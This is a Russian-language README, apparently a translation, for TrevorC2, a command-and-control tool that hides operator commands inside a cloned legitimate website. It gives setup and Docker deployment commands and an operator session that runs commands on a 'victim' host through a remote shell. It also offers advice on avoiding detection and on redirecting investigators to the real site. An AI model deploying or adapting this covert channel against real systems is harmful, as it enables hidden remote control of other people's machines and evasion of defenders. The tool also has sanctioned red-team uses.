
TrevorC2 — это легитимный веб-сайт (доступный для просмотра в браузере), который туннелирует связь между клиентом и сервером для скрытного выполнения команд.
Автор: Дэйв Кеннеди (@HackingDave) Веб-сайт: https://www.trustedsec.com
Обратите внимание, это очень ранний релиз — вскоре будут добавлены серьёзная рандомизация и шифрование.
TrevorC2 состоит из двух компонентов: клиента и сервера. Клиент можно настроить для использования с чем угодно. В этом примере он написан на Python, но его легко можно портировать на C#, PowerShell или что-либо ещё.
В настоящее время trevorc2_client.py поддерживает Windows, MacOS и Linux. Вы всегда можете откомпилировать Windows-версию в байт-код, чтобы получить исполняемый файл, но предпочтительнее использовать Windows без необходимости сбрасывать исполняемый файл в качестве стажера.
Сервер работает, пряча параметр прямо перед тегом . Это полностью настраивается, и рекомендуется настроить всё уникальным образом, чтобы избежать обнаружения. Вот как это работает:
1. trevor2_server.py — сначала отредактируйте файл и настройте, какой сайт хотите клонировать и т.д. Сервер клонирует выбранный вами сайт и запустит сервер. Этот сервер доступен для просмотра любому и выглядит как легитимный сайт. В исходном коде содержится параметр (опять же настраиваемый), который содержит инструкции для клиента. Когда клиент подключается, он ищет этот параметр и использует его для выполнения команд.
2. trevor2_client.py — всё, что нужно в любой настраиваемой опции: возможность обращения к сайту, парсинга некоторых основных данных, выполнения команды и помещения результатов в параметр строки запроса, закодированный в Base64, для отправки на сайт. Вот и всё, несложно.
3. trevor2_client.ps1 — реализация trevor2_client.py на PowerShell, что позволяет использовать нативный PowerShell для взаимодействия с Trevor2_Server.
pip install -r requirements.txt
Сначала отредактируйте trevor2_server.py — измените параметры конфигурации и сайт для клонирования.
python trevor2_server.py
Затем отредактируйте trevor2_client.py или .ps1 — измените конфигурацию и систему, с которой он должен связываться.
python trevor2_client.py or .\trevor2_client.ps1
TrevorC2 поддерживает возможность работы с несколькими оболочками, поступающими с разных имен хостов. TrevorC2 идентифицирует новые имена хостов как сессии. Вы можете взаимодействовать с сессиями после выполнения команды. Если у вас несколько сессий, вы можете ввести команду и взаимодействовать с этой сессией на основе глобально хранящегося номера сессии.
При первом запуске TrevorC2 вы можете ввести help или ? для получения дополнительной информации. Основная команда — "list", которая выводит список активных оболочек (или ничего), или "interact <session_id>" для взаимодействия с нужной оболочкой.
Внутри оболочки вы всегда можете ввести back/exit, при этом она останется активной и не будет фактически убита.
Пример ниже:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
Использует Dockerfile на основе Alpine для развёртывания trevorC2, удобен для быстрого развёртывания у облачных провайдеров.
Пример ниже:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
Важно изменить переменные, представленные в каждом из скриптов. Особенно SITE_PATH_QUERY и ключ шифрования. Также рекомендую обратить внимание на опцию REDIRECT. Вместо клонирования сайта у вас есть другая опция, которая будет перенаправлять хост жертвы, просматривающий сайт для расследования, на легитимный сайт. По сути, когда кто-то посещает сайт, он просто перенаправляет его на сайт, который вы хотите клонировать. Измените клонированный сайт, например, с google на другой сайт и включите перенаправление.